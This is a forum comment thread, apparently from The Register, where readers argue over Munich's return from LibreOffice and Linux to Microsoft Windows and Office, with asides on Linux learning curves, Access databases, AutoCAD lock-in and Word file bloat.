              Having moved several friends from Win7 to Linux Cinnamon Mint with no major issues whatsoever, I'm wondering what you're whittering on about. Ordinary Windows users don't come across the underbelly of Windows, nor do ordinary Linux users need GREP, APT etc. BTW it's GREP in Windows too, as well as InDesign.

              "But for a new user, you need to spend ages learning what each command or application does as the name has little bearing."
              That's true of any computer OS/system. "Abort, Retry, Fail..." “Error #some-large-number: There is no message for this error”...

            2. Anonymous Coward
              Anonymous Coward

              Re: StargateSg7 / Not sure about Office

              I'm merely highlighting that for someone moving from Windows to Linux/GNU there's a hell of a learning curve which I know does put a lot of people off. Rectifying this wouldn't be a be idea if trying to encourage more people from the dark side into the light.

              The difference between the two is where you waste time and resources. With Unix, the fist couple of months are going to hurt because you're working with building blocks. Once you are familiar with it, you are set to solve IT issues with the shortest, most resource-efficient path from A to B, but have multiple options of solving the same issue.

              With Windows, it's easy to get going but you are heading for a setup that will always demand far more resources to be stable and to achieve EXACTLY what you want. Where Windows wins is that it sort of gets you more or less what you were thinking of, and you will soon learn to give up getting any closer to what you actually need rather than what Windows let you do - you just develop Powerpoint skills to explain away the difference (which is, I assume, why Powerpoint is a default install).

              Note: I'm talking services here, not desktop. IMHO, the Linux desktop is just not going to happen as it's in a chicken and egg absence of commercial applications.

              If you're in the "good enough" business and you have creative accountants you can make Windows look good. If you're in the "this. must. deliver. and. not. fail." business, Unix is still the way to go. If you want to see why, just look at the enormous pain the Process Control industry is going through now they have discovered that going Windows has left them with a gaping security problem.

              If you have the Unix skills inhouse, adopting it to modern needs is trivial and you add MacOS desktops to it so you never have to deal with the tangled hairball that Microsoft coughs up. If you don't have the skills, you will probably also lack the expertise to recognise that's you're being sold a technical tapeworm that will drain money and efficiency from your company so you're easy prey.

              In that case, enjoy the costly tapeworm of inefficiency Windows and all that comes with it. With luck you do an eval in later years when you have picked up some knowledge, but by them you're so entangled there's no way out. The good news is that you're not alone.

              The only thing lacking is a Microsoft re-edcation camp for those who stray, but that's only because they've all been working in Munich for the last few years..

              1. nijam

                Re: StargateSg7 / Not sure about Office

                > With Windows, it's easy to get going

                Who the f*** told you that?

            3. tom dial Silver badge

              Re: StargateSg7 / Not sure about Office

              It is quite as difficult for one moving from an IBM mainframe/Unix/Linux environment to Windows. I decided in the end that, Gnu/Linux being what it is (and as far back as around 1995 was), the effort had insufficient payback, and I persist in knowing no more about Windows than is necessary to install it vanilla and patch it regularly. My spouse, who feels she needs to know even less, is as happy using Firefox, Thunderbird, and LibreOffice on Windows 10 as she would using the Windows counterparts, and I am far happier with that.

            4. DuncanLarge Silver badge

              Re: StargateSg7 / Not sure about Office

              Complaining about an applications name is just being a bit silly.

              I'm sure most users of microsoft products today would not know the standard programs that come with DOS. They would have to do what they did with windows and get a book to teach them. When I moved from using a C64 to a PC that I built from spare parts I had a WHOLE book on windows 3.1 to teach me what the hell I could do with Program Manager, this was after I went to the library to find books on DOS. When I went to linux I did the same thing mostly with these things called man pages.

              I also had to read a book to help me learn to drive a car. I mean I had been driven in a car by my dad for years, plus rode my bike on the roads for decades yet I still had to do all that silly learning to use a the every so slightly different interface to the roads called a "car". I fully expect to do the same should I upgrade my road interface to a truck...

              Back to applications...

              "The GIMP" certainly does not describe anything about what the application does. This is true also of "Adobe Acrobat" - obviously software related to gymnastics. Safari is not a browser, its a game for kids set in Africa. What about Adobe After Effects? That must be something to do with teaching kids not to do drugs? Or Sony Vegas which is most likely something to do with gambling.

              Here are a few more examples:

              WinAmp = Lets you plug in your kids electric guitar so he can play it on the computer?

              Excel = Training program to help your employees excel at their work.

              Publisher = Lets you publish your book direct to the stores avoiding all that faffing about with human publishers!

              Word = A scrabble dictionary.

              Access = Gives you access to locked buildings, used by hackers in films etc.

              Frontpage = Lets you design your books front page, remember to use this before you run publisher!

              Outlook = Gives you the weather outlook for the week ahead.

              Firefox = A game where you hunt fox hunters using a flame-thrower.

              Chrome = Who the hell knows?

              Anything "Lotus" = racing

              Nero Burning Rom = A sequel to Firefox where you play as a guy named Nero.

              I could go on and on and I would love to as it amuses me.

              However, looking at my start menu, the only applications in windows that even suggest what they do are the ancient ones that were there all the way back to the beginning. Paint (well it kinda suggests its usage), calculator, notepad etc. We all know that to do anything actually with a computer you must use other more complicated applications. If we all just got buy using notepad why do we even need windows 10? Notepad was on windows 1.0 back in '85 so why do we need multi core CPU's? Why does my pc have 16GB of RAM?

              I'll tell you why. Its all to use those incomprehensible programs I listed above. The ones where you need to LEARN what they are used for. The ones where you DISCOVER them when you are trying to fulfill a need.

              How do you discover them? Must I? Ok here we go:

              - School

              - Word of mouth

              - Magazines

              - Adverts

              - By accident

              - Further education courses in the subject you are learning about.

              But no. You need the OS and application name to be so simple that anyone who has read the famous five can create the next Harry Potter without learning anything about word processing. Its a dream. An old one yes, but a dream.

            5. wayward4now
              Linux

              Re: StargateSg7 / Not sure about Office

              "for a new user, you need to spend ages learning what each command or application does as the name has little bearing."

              AH! I see your point!! We need to dumb Linux down! Then the knuckle-walkers and droolers can make their contributions to polite society. Sorry, maybe dumbing down ist the answer. Develop a one button keyboard, a one button mouse, and three screen selections: browser, email, and search. No more complaints.

          5. post-truth

            Re: Not sure about Office?

            "our company said screw this and went ahead and developed it's own Windows 10-like OS shell and remade the command line interface of Linux to PROPER ENGLISH! We remade LAMP into custom Windows 2016 server-like environment with a decent Active Directory WAN/ALN management system analogue!"

            You may be onto something there. Use Linux o/s with Windows-like UI. Just make sure you avoid exactly the same names (to avoid MS legal stupidity). A perfect solution?

            When I was young, and dinosaurs roamed the earth, I used to do something similar when teaching my youthful underlings hard lessons about computer security. Basically I'd quietly shoehorn my own pseudo-Unix shell into theirs at login. This mimicked their own. Their commands would act exactly as they expected (simply by passing them through to the real UNIX)... except when they simply failed harmlessly for peculiar reasons. Over time the frequency of failure slowly would increase, and increasingly silly random explanation messages would emerge, referring to say "logic overflow at segment xxx, booleans restored from swap", progressing ultimately to things like "Memory hole detected in BitBucket 3.0, install patch 3.0912". Etc. Cruel? Not entirely. The point was to eliminate a dangerous level of arrogance and replace it with the deliberately paranoid assumption that we're always being played. And the ultimate objective was to motivate them to bring themselves up to the level at which they could do the same to me...

            1. jeffdyer

              Re: Not sure about Office?

              Reminds me of writing code to simulate a login prompt on the old Pr1me mini computer terminals, capturing usernames and passwords and then logging off and hiding. Great fun.

              1. tom dial Silver badge

                Re: Not sure about Office?

                One of my co-workers did the same with the ADR ROSCOE login panel for an IBM 370/158 in about 1981 or 1982. I wonder if there is a system where this was not done early and often.

          6. Andronnicus Block

            Re: Not sure about Office?

            Many others have said or will likely will say it but sudo is not an install command. It is a command used to prefix another command and so gain higher level privileges than available from a normal user account. So, for a normal user wanting to install say firefox from the command line (and why not?) the command would be

            "sudo apt-get install firefox"

            Job done. Having said that, - again as others may point out - most normal users wanting to install Linux software would probably:

            a.) use the software centre - aka the app store or, if feeling adventurous

            b.) use something like synaptic package manager

            c.) use the command line - particularly if following advice as most people tend to give the text which can be easily copied and pasted from a website page in to the terminal and is almost guaranteed to work.

            Of course, unless their administrator had given them the necessary privileges, then they are not going to be installing new software anyway.

            The funny thing is I know this yet I am not an IT professional - my profession is engineering.

          7. tom dial Silver badge

            Re: Not sure about Office?

            Anyone who SHOUTS so freely deserves a downvote or two.

            Have another.

            I cannot help calling uttermost BS on "We also REPROGRAMMED ALL OF LINUX ..." This baseless claim shows relatively total cluelessness about the structure of operating systems in general and Gnu/Linux in particular.

            1. Kiwi Silver badge
              Trollface

              Re: Not sure about Office?

              I cannot help calling uttermost BS on "We also REPROGRAMMED ALL OF LINUX ..." This baseless claim shows relatively total cluelessness about the structure of operating systems in general and Gnu/Linux in particular.

              He's rather consistent, but I'd suggest some weird form of troll.

              Or heavy drug user.

              Or both maybe.

          8. John Crisp

            Re: Not sure about Office?

            "We also REPROGRAMMED ALL OF LINUX using a customized version of EASY-TO-READ PASCAL SOURCE CODE that is FULLY COMMENTED !!!!!!!!!!!!!!!!!!!!!!!"

            Really??

            Best speak to Linus and tell him to retire immediately.

            <slapshead>

          9. Anonymous Coward
            Anonymous Coward

            Re: Not sure about Office?

            "It's gotten SO BAD with Linux and C/C++ our company said screw this and went ahead and developed it's own Windows 10-like OS shell and remade the command line interface of Linux to PROPER ENGLISH! We remade LAMP into custom Windows 2016 server-like environment with a decent Active Directory WAN/ALN management system analogue!"

            And how long did that take and cost versus - uhm - maybe just using Windows / IIS ?!

            1. Pompous Git Silver badge

              Re: Not sure about Office?

              "And how long did that take and cost versus - uhm - maybe just using Windows / IIS ?!"
              How would he know given that there's no way he got that all finished yet...

          10. MachDiamond Silver badge

            Re: Not sure about Office?

            "I do must say.... everything else OTHER THAN WINDOWS basically SUCKS THE BIG ONE !!!!"

            If all you do all day is work with the OS, fine. I started using Windows, moved to MacOS and picked up linux skills 10 years ago. My goal is to get the work done that I need to do in the most efficient way and that includes not having to take time out to deal with malware, blue screens of death, files being put in random places, etc. Linux for Dev work and network services, Windows for CAD/CAM and Mac for everything else. For safety, I keep the Windows VM from connecting to the network. Everything runs on my big silver MacPro that I peer into via 4 monitors when everything is up and running.

            I find Windows too invasive. It constantly wants to "help" me and gets in the way. M$ must have a pact with hardware vendors to keep bloating the OS so one has to upgrade computers and buy new peripherals every couple of years. My MacPro is 9 years old and rarely slows me down although I am ready for an update. I keep hoping that Apple will release a Pro version with some internal upgrade space and an 18 core processor option like the new iMacs.

          11. Julian 16

            Re: Not sure about Office?

            "It's gotten SO BAD with Linux and C/C++ our company said screw this and went ahead and developed it's own Windows 10-like OS shell and remade the command line interface of Linux to PROPER ENGLISH! We remade LAMP into custom Windows 2016 server-like environment with a decent Active Directory WAN/ALN management system analogue!"

            Mate, if you were capable of doing this, you'd have no problem using Linux. I smell the whiff of bullshit in the air.

            1. Kiwi Silver badge
              Windows

              Re: Not sure about Office?

              "It's gotten SO BAD with Linux and C/C++ our company said screw this and went ahead and developed it's own Windows 10-like OS shell and remade the command line interface of Linux to PROPER ENGLISH! We remade LAMP into custom Windows 2016 server-like environment with a decent Active Directory WAN/ALN management system analogue!"

              Mate, if you were capable of doing this, you'd have no problem using Linux. I smell the whiff of bullshit in the air.

              Just a whiff? I hear they're getting complaints from 5 counties over!

              --> Trying to shove a bottle of deodorant up the nose!

        4. Anonymous Coward
          Anonymous Coward

          Re: Not sure about Office?

          Too many people use ONLY windows, and ONLY Internet Explorer

          No, it is that too many people today are IT illiterate. That is the real issue. They have zero understanding of what happens when the button is clicked. They don't know what an OS is or an application. It is all point at picture then click. It's not that the next generation are being educated any better in the matter either. They are being taught IT by non-specialists who have a fleeting grasp of the subject (that's education in general unfortunately) and hence the click and don't think mantra is passed on.

          The good news is that anyone able to find their arse with both hands from an IT perspective will be lauded as a guru, the bad news is that they might just end up with all the shitty work that everyone then excuses themselves from whilst attending yet another fucking meeting.

          I've moved my kids between Windows, Linux and OS X. Not for shits and giggles but merely as the older hardware they used gradually got replaced by the next hand-me-down. What it demonstrated is that, for the most part, once they have logged in and found the browser or application they were looking for it is business as usual. The next stage is to get them to understand why things are so rather than clicky-clicky.

        5. Anonymous Coward
          Anonymous Coward

          Re: Not sure about Office?

          "Well currently the kids can get it free (but that's because the school is paying out the nose for services)"

          Office 365 for Education, which includes Word, Excel, PowerPoint, OneNote, and Microsoft Teams is free. There is no requirement to buy anything else.

    4. ecofeco Silver badge

      Re: Not sure about Office?

      Microsoft would be a dead and buried a long time ago if it weren't for their repeated predatory pricing.

      1. Anonymous Coward
        Anonymous Coward

        Re: Not sure about Office?

        " if it weren't for their repeated predatory pricing."

        Uhm, so they are cheaper than the competition. Some might simply call that competitive pricing!

    5. bombastic bob Silver badge
      Unhappy

      Re: Not sure about Office?

      "Many of us have seen this many times before in the past."

      and also the cost REDUCTIONS for NOT "going Microsoft".

      Microsoft DOES know how to "market" their wares. They appear to be doing so. And they understand governments [as they seem to behave JUST LIKE ONE more often than not].

      What's missing here is a description of "what software they need" and why it's only windows programs that will do the job. And if THEIR gummint is anything like MY gummint, they've wasted 90% of their research funds chasing their tails doing nothing, so they can file a report that says "we tried".

    6. fidodogbreath Silver badge

      Re: "When it's political, technology cannot do anything."

      It's all about the pork.

      Indeed. If open-source advocates want to compete for government contracts, they need to embed BribeCoin miners in all of the distros, then use the money to bribe political hacks fund campaign contributions.

    7. Nattrash

      Re: "When it's political, technology cannot do anything."

      Kids, kids... As we all know this has nothing to do with tech, but all to do with the private jet trip of ol' Steve to Munich in 2003 (https://www.cnet.com/news/munich-breaks-with-windows-for-linux/) and the subsequent location of European MS HQ in Munich (https://mspoweruser.com/microsoft-germany-moves-into-a-new-headquarters/).

      Oh, you're confused by politicians who tell you that they work for your well being..?

      Move on please, nothing (new) to see here... or you should be interested "the excuses they come up with this time" to explain themselves...

    8. azaks

      Re: Not sure about Office?

      Hübner said "no final decision has yet been made" on whether LibreOffice will be swapped out for Microsoft Office. "That will be decided at the end of next year when the full cost of such a move will be known."

      Hübner meant "we are waiting for the dust to settle on how we wasted millions of tax payers money on this experiment. When we think that you have moved on from this, we will announce the switch back to Office, (and the millions more that will be required to do this)"

    9. Anonymous Coward
      Anonymous Coward

      Re: Not sure about Office?

      >MS will no doubt be hoping that this 'victory' will stop any other companies/local or national governments/etc from even thinking about ditching windows and office

      Conversely, for the past decade, many, many large orgs and companies considering the move took a fact finding expedition to Munich - and then stuck with the Devil they knew.

    10. Anonymous Coward
      Anonymous Coward

      Re: Not sure about Office?

      "Of course they will go for Office 365 when MS makes it cost nothing for the first year."

      Software "swapouts" are not uncommon, but you still need to pay support and maintenance. I suspect Microsoft will be sticking them for the full cost though as If there was any special pricing already agreed then it would have been mentioned as part of the reasons to migrate back in the council meetings on the subject.

      "Then they will put the price up so that any losses they make early on are more than covered in future years."

      Well no they wont because Microsoft enterprise software licensing and support list pricing is publically available via many third party vendors to buy "off the shelf"...

      "By then the MS lock in will be total"

      No more than last time and that didn't stop them moving. It just turned out that Linux was a crappy solution in comparison. You can hardly say they didn't try after over a decade of it.

      "MS will no doubt be hoping that this 'victory' will stop any other companies/local or national governments/etc from even thinking about ditching windows and office"

      The costs and time scale of Munich were already enough to put almost everyone off. That it eventually failed too makes little difference. Almost no one is migrating to Linux on the desktop.

      "even though some major companies are openly saying that the TCO for a Windows environment is more costly than others."

      Well now we have direct evidence rather than heresay that Linux at least is way more expensive an option. According to the Munich council IT dept. they have spent €82 million over and above the migration project costs trying to remediate systems to work with Linux!

    11. Anonymous Coward
      Anonymous Coward

      Re: Not sure about Office?

      >> Today about 40 per cent of 30,000 users already have Windows machines.

      After €100 million spent on "migrating to Linux"? Wow. What a waste of money that was.

  3. rmason Silver badge

    Hardly a shock.

    Over budget in terms of both time and money when initially done.

    They couldn't make things work (within the budget, or at all). Endless failed projects and not delivering on providing the stuff people need to do their job.

    1. Voland's right hand Silver badge

      Re: Hardly a shock.

      They couldn't make things work (within the budget, or at all).

      Do we like it or not there is a significant amount of software which is available only on Windows. While it is possible to port it to Linux or replace it, a single city (regardless how big) does not have the "weight" to push this through.

      Doubly so if there is no interop mandate or backend standard mandate. The Munich project could succeed if it was in one of the Benelux or Scandinavian countries which introduced mandates on open specs for all of government held data. Germany also mulled this one, but did not follow through. Hence the result.

      Last, but not least, the one too many Linux desktop revolutions combined with one too many strategy turns by SuSe nailed the final nail in the coffin of this project.

      1. Blitheringeejit
        Facepalm

        @ Voland's right hand

        >> like it or not there is a significant amount of software which is available only on Windows.

        There is a significant amount of software which relies on an Access database backend - but its mere existence does not constitute a good reason to migrate to such software at this point in the evolution of IT.

        1. Mage Silver badge

          Re: @ Voland's right hand

          Access is GARBAGE compared to MS SQL. Absolutely nothing should have used it since MS released a free SQL runtime service for windows, I think about 2000. MSDE was far superior to Acsess "Jet Engine". MSDE support ended in 2008, but MS I think still offers a free engine. If you need multiuser, Access is garbage and you need a full SQL. Porting to Maria DB or MySQL isn't hard.

          There is no good reason to migrate BACK to MS, there may be reasons to stay with windows for now (existing Windows only applications). Some legacy business applications don't work on 64 bit windows (do work on 32 bit). The 32bit Windows 10 is only on some "toy" atom tablets (max 2G RAM by cpu design). Win10 seems worse than Vista and Win ME. The GUI is worse than Windows 3.1, reducing productivity by up to 20% (NNG study).

          Everyone should have migration plans away from Access over 15 years ago and at least have secret feasibility studies to move away from Windows Server, Exchange, Sharepoint and Desktop.

          Anyone adopting MS cloud is ignoring real future costs, backup, disaster recovery, security, privacy, reliability, legal aspects and more, such a lock in.

          1. The Original Steve

            Re: @ Voland's right hand

            Agree entirely with Access for the backend, but for a rapid, business focused, low cost front end to a real DB, Access is a reasonable product.

            VBA front end, reports engine, built in packager to MSI, no licence or Access installation for runtime. Shove in a MSSQL / MySQL backend and you can have a flexible, multiuser little application without needing multiple experienced developers coding in "big boy" languages.

            As a front end, power user tool for accessing business data in a real DB's it's not bad.

        2. Voland's right hand Silver badge

          Re: @ Voland's right hand

          There is a significant amount of software which relies on an Access database backend - but its mere existence does not constitute a good reason to migrate to such software at this point in the evolution of IT.

          Access is the "little evil". 99% of apps talk to it via odbc and can be made to talk to an alternative database backend.

          The large evil is all the planning, construction and utilities. A large city council needs to churn a gigantic pile of civil engineering and utilities approval work per year. Like it or not AutoCad and its brethren remain a resolutely Windows-Only affair so any ideas of migrating a whole city council to Linux for the time being are in the realm of science fiction. Doubly so in the absence of a mandated open document format for CAD submissions.

          1. Prst. V.Jeltz Silver badge

            Re: @ Voland's right hand

            "Doubly so in the absence of a mandated open document format for CAD submissions."

            Isnt that .dxf ?

            1. DropBear Silver badge

              Re: @ Voland's right hand

              "Isnt that .dxf ?"

              Which week's version...?

            2. vincent himpe

              Re: @ Voland's right hand

              DXF ... THE DATA FORMAT FROM HELL. It isn't even compatible with itself.

          2. bombastic bob Silver badge
            Unhappy

            Re: @ Voland's right hand

            "Access is the "little evil". 99% of apps talk to it via odbc and can be made to talk to an alternative database backend."

            for the most part, I'd say you're right. If ADO is involved, or VB applications with "special" 3rd party shared components, or even outright MS 'Excess' applications, I suspect this would still be true [but it would require a knowledgeable IT person to fix it].

            Isn't it "lazier" to just say "we need this" ??? [that's probably what happened]

            The biggest problem with JET is that it couldn't really tolerate multi-user (or even multi-thread), among other things. It only played well by itself, in its own little "sandbox".

            Still I'd like to see what those alleged "800 programs" actually are. AND to compare that against a list of independently researched 'equivalents'. If they were serious about it, and not trying to HIDE SOMETHING, they'd most definitely publish that list.

          3. Roo
            Windows

            Re: @ Voland's right hand

            "Like it or not AutoCad and its brethren remain a resolutely Windows-Only affair so any ideas of migrating a whole city council to Linux for the time being are in the realm of science fiction. "

            Little nitpick - AutoCAD users would (normally) form a very small proportion of the total number of City Council users, it would be silly to build your entire infrastructure around it IMO. Give the AutoCAD victims some boxes to RDP into and be done with it already...

        3. Prst. V.Jeltz Silver badge

          Re: @ Voland's right hand

          "There is a significant amount of software which relies on an Access database backend - but its mere existence does not constitute a good reason to migrate to such software at this point in the evolution of IT."

          I'd have thought software using MSaccess was an ideal reason to ditch it . Just export the DB to SQL and make a new front end. I guess its not that simple really . We have arcane databases running on probly proprietry database formats that sit on msdos. I'd like to try , but it aint my dept ...

      2. Prst. V.Jeltz Silver badge
        Unhappy

        Re: Hardly a shock.

        " a single city (regardless how big) does not have the "weight" to push this through."

        If a city like Munich cant get off windows , it cant be done. You're not gonna get a bigger administration trying it - next stop up from "Munich sized city" is "Nation State".

      3. Anonymous Coward
        Anonymous Coward

        Re: Hardly a shock.

        "The Munich project could succeed if it was in one of the Benelux or Scandinavian countries which introduced mandates on open specs for all of government held data."

        Microsoft Office is the best ODF client around, and even Microsoft's own file format is open. Requiring open specs for data doesn't really help Linux.

    2. Smooth Newt
      Thumb Up

      Re: Hardly a shock.

      They couldn't make things work (within the budget, or at all). Endless failed projects and not delivering on providing the stuff people need to do their job.

      That sounds perfectly normal for a public authority in the UK, irrespective of any operating system. I don't know if they do things differently in Germany, but somehow I doubt it.

      1. Anonymous Coward
        Anonymous Coward

        Re: Hardly a shock.

        I don't know if they do things differently in Germany, but somehow I doubt it.

        I used to work for a German company, and my many German colleagues held their local government in the same universal high esteem that we hold UK local government. And there were some epic blunders that my German colleagues related to me.

        1. Anonymous Coward
          Anonymous Coward

          Re: Hardly a shock.

          "I used to work for a German company, and my many German colleagues held their local government in the same universal high esteem that we hold UK local government."

          Ditto in another European country.

          Recent personal events have convinced me that if Douglas Adams had experienced more of local government[1], he would surely have added Ark B2, to accommodate this shower.

          [1] mind you, he might have lost the will to write HHGTTG, so perhaps better he didn't

      2. Fruit and Nutcase Silver badge
        Alert

        Don't mention...

        @Smooth Newt

        I don't know if they do things differently in Germany, but somehow I doubt it.

        The War new Berlin Airport.

        http://www.telegraph.co.uk/travel/news/the-crazy-saga-of-berlins-long-delayed-airport/

    3. nijam

      Re: Hardly a shock.

      > They couldn't make things work (within the budget, or at all).

      Mostly because the Windows experts they employed as consultants told them it wasn't possible, or at least cost effective, as I recall.

      1. Anonymous Coward
        Anonymous Coward

        Re: Hardly a shock.

        "Mostly because the Windows experts they employed as consultants told them it wasn't possible"

        But they employed lots of Open Source experts - and had massive amounts of consultancy (largely free!) from companies with vested interests and lots of experience in legacy OS solutions like IBM!

        They also ALWAYS KNEW it was going to cost more at least for the foreseeable future. It was never about saving money over all. It was a political decision to stick 2 fingers up to a US company.

        Yes they said €xx millions saved in license fees but they never claimed it had a lower TCO. Even over a decade it still cost tens of millions more then sticking with Windows when you look at the larger picture like the cost of migrating, and then running a zoo and of trying to make it all work under Linux.

  4. Anonymous Coward
    Anonymous Coward

    >An Italy-based spokesman for the Document Foundation, which is in charge of LibreOffice, attributed the decision to politics.

    LibreOffice is one of the biggest problems for those wanting to migrate to Linux. I've used Linux on my work laptop/PC/whatever for the best part of two decades now, yet LibreOffice, like OpenOffice before it, is still shite. MS have done a good job of reducing the appeal of their Office, but it is so much faster, smoother and easier to use than the Libre equivalent.

    I suspect the issue is it's based on Java. This is understandable; it was started by Sun, and was designed to be cross-platform, but it's crippling the product.

    We really need a decent, single Office application for Linux, which has a small footprint, is fully-featured and is easy to use. If it's better than Office then people will be tempted. Right now, it's not.

    1. Dan 55 Silver badge

      There's not much Java left in LO, and what's left will also be removed.

    2. Anonymous Coward
      Anonymous Coward

      MS Office? Faster?

      Having just been migrated to Orifice 2016 one has to ask what the blazes you are on. I had a XT that ran DOS faster, when it was turned off.

      1. Anonymous Coward
        Anonymous Coward

        Re: MS Office? Faster?

        Have you got all the shared collaboration switched on? I recall something to that extent that if Office is trying to see if anyone else is working on same document things get slowed.

        1. Prst. V.Jeltz Silver badge

          Re: MS Office? Faster?

          Have you got all the shared collaboration switched on? I recall something to that extent that if Office is trying to see if anyone else is working on same document things get slowed.

          Thats some Microsoft bullshit right there . Why wouldnt office mid its own business until asked? Half the problems people have interacting with people is the software trying to guess what the user wants instead of just waiting a minute to be told.

          That and the 10% of useful required features being buried in 90% shite that no one ever uses. I'm looking at you - Adobe Reader.

      2. T. F. M. Reader Silver badge

        Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

        I used to write complex documents (detailed specifications, tables, figures, lots of cross-referencing, etc.). For the purpose of "interoperability with others" it was in Word. Change tracking, rejecting/accepting modifications, comments by others, etc.

        Documents became fatter and fatter every day. Many, many megabytes. I learnt a little trick. From time to time I opened the current fatty in LibreOffice, made a tiny change (e.g., added a space somewhere or corrected a typo), and saved...

        SHHHHRRRRRRIIIINNNKKK! All the extra fat is instantly gone.

        I suspected at the time (but never really checked) that all the multiple changes, whether accepted or rejected, all the deleted comments, etc., etc., were made invisible but still kept by Word in the file, while LibreOffice figured out that invisible stuff was no longer needed and silently dropped it on the first save.

        1. Bob Wheeler

          Re: Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

          I belive the default within MS Word documents is to keep the last 10 changes - so that you can undo them, saved within the file.

          1. Pompous Git Silver badge

            Re: Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

            "I belive the default within MS Word documents is to keep the last 10 changes - so that you can undo them, saved within the file."
            MS Word tracks all changes and is limited only by machine resources. To clear the undo stack: protect the document for forms, execute the UndoClear method in a macro, or close and reopen the document.

        2. elgarak1

          Re: Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

          The worst corruption in a simple, but large, text document I've ever encountered was a Word file that originated with the current, fully updated, Word:Mac (which may be the cause. Office:Mac is a pile of shite, and has been for years. Worse than the Win counterpart). It couldn't be opened in any way to read the text on an older, not fully updated, Word:Win version. Current Word:Win, Mac's Pages and OpenOffice (no LO fork yet) could open it just fine.

          How to save the text? Answer: Copy and Paste into a new file in Pages, or OpenOffice, NOT Word. Worked like a charm.

        3. WolfFan Silver badge

          Re: Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

          I suspected at the time (but never really checked) that all the multiple changes, whether accepted or rejected, all the deleted comments, etc., etc., were made invisible but still kept by Word in the file, while LibreOffice figured out that invisible stuff was no longer needed and silently dropped it on the first save.

          Sigh. All the changes are kept around by Word (and Excel, and PowerPoint) when doing an ordinary save. If you do a save-as, the changes are consolidated.

        4. Pompous Git Silver badge

          Re: Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

          "Documents became fatter and fatter every day. Many, many megabytes. I learnt a little trick."
          My trick used to be to turn off Fast saves... (under Tools, Options).

        5. Anonymous Coward
          Anonymous Coward

          Re: Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

          "Documents became fatter and fatter every day. Many, many megabytes. I learnt a little trick. From time to time I opened the current fatty in LibreOffice, made a tiny change (e.g., added a space somewhere or corrected a typo), and saved...

          SHHHHRRRRRRIIIINNNKKK! All the extra fat is instantly gone."

          Just save in DOCX or XLB format - beats Libre Office for size every time!

        6. The obvious

          Re: Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

          TFM - It's hardly unknown that you saw the behaviour you did, that's how .doc works...

          Rewriting big documents was very slow at the time .doc was conceived (think of users storing docs on floppy-disk) and both to make the saves quicker and to keep autosaves from interrupting the user the best way is to use a quick-save that just saves changes to the end of the file. Word would tidy up if you use 'Save As' instead of the normal 'Save' even if you use the same filename/type.

          It has only been that way for as long as I can remember (right from my earliest PFY role back in the last century in the days when BOFH was in print.) Many pieces of juicy information could be had from documents back in the day - our government had to answer quite a few very awkward questions about the people who worked on "the dodgy dossier" as a direct result of metadata and edit histories found in the files...

          1. Pompous Git Silver badge

            Re: Keep LibreOffice even if you move to MSFT [Was: MS Office? Faster?]

            "Many pieces of juicy information could be had from documents back in the day"
            Not to mention documents from MS. Turning on Track changes was a source of some amusement :-)

      3. Anonymous Coward
        Anonymous Coward

        Re: MS Office? Faster?

        "Having just been migrated to Orifice 2016 one has to ask what the blazes you are on"

        It's lightening fast for me even on a low spec 4GB Ram PC. If O2016 is slow launching or in general navigation then your infra setup has some sort of design issue...

    3. Zolko

      Whot ?

      MS have done a good job of reducing the appeal of their Office, but it is so much faster, smoother and easier to use than the Libre equivalent

      you must be kidding: MS-Office is unstable as hell, my colleagues (on OS-X) complain about it all the time. I only use it when absolutely necessary, and write all my stuff in LibreOffice and export to PDF. Or LaTeX when I need to write a long and beautiful article: after all these years, the output of MS-Office is still shite compared to the venerable LaTeX. Mind-you, it's not any better in LibreOffice, but LO is sooooo much more stable.

      1. Vince

        Re: Whot ?

        Your colleagues using OS-X (it's called macOS now btw) will be using the terrible version of Office for Mac which is utter garbage and is nothing like (in many ways) office on windows.

        I use Parallels + Office from Windows on my Mac because the Mac version is totally horrific

        1. Zolko

          Re: Whot ?

          Your colleagues using OS-X (it's called macOS now btw) will be using the terrible version of Office for Mac which is utter garbage

          you're probably right. But that only shows that MS-Office is not compatible with MS-Office. Even worse, we tried to have templates for a project, but with versions from different languages (French, German, English) and it couldn't get the numbering right, because for some versions it was "équation" and for others it was "equation", therefore it didn't get the numbering for equations right. Same for "table" and "tableau" and "Tabelle".

          Yes, MS-Office is that stupid. Not to mention when you copy'n-paste between different versions from different languages ! I do it in plain text now and redo the formatting by hand. LaTeX is LOL-ling at me.

          1. werdsmith Silver badge

            Re: Whot ?

            I write and write and write every day. I don't use Office to do the work, I use either the Mac, or the google docs word processor.

            But when my work is submitted I have to import it into Word and check the formatting is straight before it goes off, because it can be guaranteed that where-ever it's going they are going to be using Word.

      2. Anonymous Coward
        Anonymous Coward

        Re: Whot ?

        "you must be kidding: MS-Office is unstable as hell, my colleagues (on OS-X) complain about it all the time. "

        It's pretty rock solid on Windows. I have worked in trading environments for years and some of the Word and Excel documents / sheets are incredibly complex yet crashes due to Office itself are almost non existent.

    4. astrax

      I'd argue the LibreOffice suite does, on the whole, a very good job of what it's supposed to do. The reason why using it in certain contexts is undesirable is due to the difficulty in preserving formatting and/or specific functionality with documents generated with MS products (which in all fairness is a lot of companies/institutes).

      Personally I think it is the lack of a decent document standard(s) that is the major issue.

      1. Anonymous Coward
        Anonymous Coward

        "Personally I think it is the lack of a decent document standard(s) that is the major issue."

        ODF seems to work just fine with whatever both MS Office and freeware can produce. What's it lacking?

    5. thames

      Anonymous Coward said: "I suspect the issue is it's based on Java. "

      LibreOffice is written in C++. There was an optional database package which was written in Java, but I've never seen it and it isn't installed by default in any installations that I can recall seeing.

      Anonymous Coward said: "I've used Linux on my work laptop/PC/whatever for the best part of two decades now, yet LibreOffice ..."

      I find that claim a bit suspect. You claim to have used Linux on your desktop for two decades yet somehow you weren't aware that LibreOffice wasn't written in Java. Java isn't even installed by default in most Linux desktop distros, yet LibreOffice (previously known as OpenOffice, and before that StarOffice) is.

      Let me see, we have someone posting anonymously, making claims to be a long time Linux user but showing basic failings in knowledge about it, and then using those claims to attempt to lend credibility to his further claims that Linux is crap because it doesn't have MS Office.

      Shouldn't you be out making your MS Office sales quota for the month instead of posting on el Reg?

    6. JMiles

